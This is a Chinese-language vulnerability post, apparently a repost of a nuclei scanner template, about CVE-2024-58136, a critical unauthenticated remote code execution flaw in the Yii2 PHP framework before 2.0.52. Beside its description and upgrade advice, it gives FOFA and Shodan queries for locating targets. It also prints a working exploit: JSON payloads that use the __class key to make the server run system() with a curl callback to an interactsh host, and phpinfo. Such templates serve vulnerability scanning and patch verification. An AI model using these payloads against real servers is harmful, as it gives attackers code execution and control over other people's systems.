Yii2 PHP Framework Remote Code Execution Vulnerability

漏洞信息

漏洞名称: Yii2 PHP Framework Remote Code Execution Vulnerability

漏洞编号:

  • CVE: CVE-2024-58136

漏洞类型: 命令执行

漏洞等级: 严重

漏洞描述: Yii2是一个流行的PHP框架,广泛用于快速开发现代Web应用程序。它提供了丰富的功能,如MVC架构、表单验证、数据库抽象等,适用于各种规模的Web项目。此次漏洞影响的是Yii2框架的2.0.52之前版本。该漏洞的根源在于对JSON行为中的__class键值的不当验证,攻击者可以利用这一点实例化任意PHP类,从而实现远程代码执行(RCE)。这种漏洞的利用不需要任何形式的身份验证,攻击者可以直接通过网络发起攻击,对受影响的系统造成严重影响。由于Yii2框架的广泛应用,此漏洞的潜在影响范围非常广泛,可能导致服务器被完全控制,敏感数据泄露,甚至被用作进一步攻击的跳板。因此,所有使用受影响版本Yii2框架的开发者都应尽快升级到2.0.52或更高版本,以避免潜在的安全风险。

产品厂商: yiisoft

产品名称: Yii2 PHP Framework

影响版本: version < 2.0.52

搜索语法: title=”Yii”

来源: https://github.com/projectdiscovery/nuclei-templates/blob/01a59299771e9178d0aadf2065d772c10e58fac8/http%2Fcves%2F2024%2FCVE-2024-58136.yaml

类型: projectdiscovery/nuclei-templates:github issues

POC详情

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71

id: CVE-2024-58136

info:
name: Yii2 PHP Framework < 2.0.52 - Remote Code Execution
author: ritikchaddha
severity: critical
description: |
Yii2 PHP Framework before 2.0.52 is vulnerable to remote code execution via improper validation of the __class key in JSON behaviors. An attacker can instantiate arbitrary PHP classes and achieve RCE.
reference:
- https://infosecwriteups.com/from-behaviors-to-shells-yii2-php-framework-rce-cve-2024-58136-exploit-and-mitigation-e47a60a3cecb
- https://nvd.nist.gov/vuln/detail/CVE-2024-58136
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2024-58136
cwe-id: CWE-94
cpe: cpe:2.3:a:yiisoft:yii:2.0.0:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 3
vendor: yiisoft
product: yii
fofa-query: title="Yii"
shodan-query: title:"Yii"
tags: cve,cve2024,yii2,rce,php,framework,kev

flow: http(1) && http(2)

http:
- raw:
- |
GET / HTTP/1.1
Host: {{Hostname}}

redirect: true
matchers:
- type: word
words:
- "Yii"
internal: true

- raw:
- |
POST /index.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json

{"as hack": {"__class": "GuzzleHttp\\\\Psr7\\\\FnStream", "class": "yii\\\\behaviors\\\\AttributeBehavior", "__construct()": [[]], "_fn_close": "system", "stream":"curl {{interactsh-url}}"}}

- |
POST /index.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json

{"as hack": {"__class": "GuzzleHttp\\\\Psr7\\\\FnStream", "class": "yii\\\\behaviors\\\\AttributeBehavior", "__construct()": [[]], "_fn_close": "phpinfo"}}

matchers-condition: or
matchers:
- type: word
part: interactsh_protocol
words:
- "http"

- type: word
words:
- "PHP Version"
- "PHP Extension"
condition: and
# digest: 4a0a004730450221009e3a66563f628bfb0931e108df7fb9332af69b8dd5c2ee1c2bf6d74b2a92d31b02206d1f3f8c205f21ed450b477a9dba4866c2a8c5f2979da959a72e6b34c88e1e29:922c64590222798bb761d5b6d8e72950


Yii2 PHP Framework Remote Code Execution Vulnerability
http://example.com/2025/07/28/github_922023387/
作者
lianccc
发布于
2025年7月28日
许可协议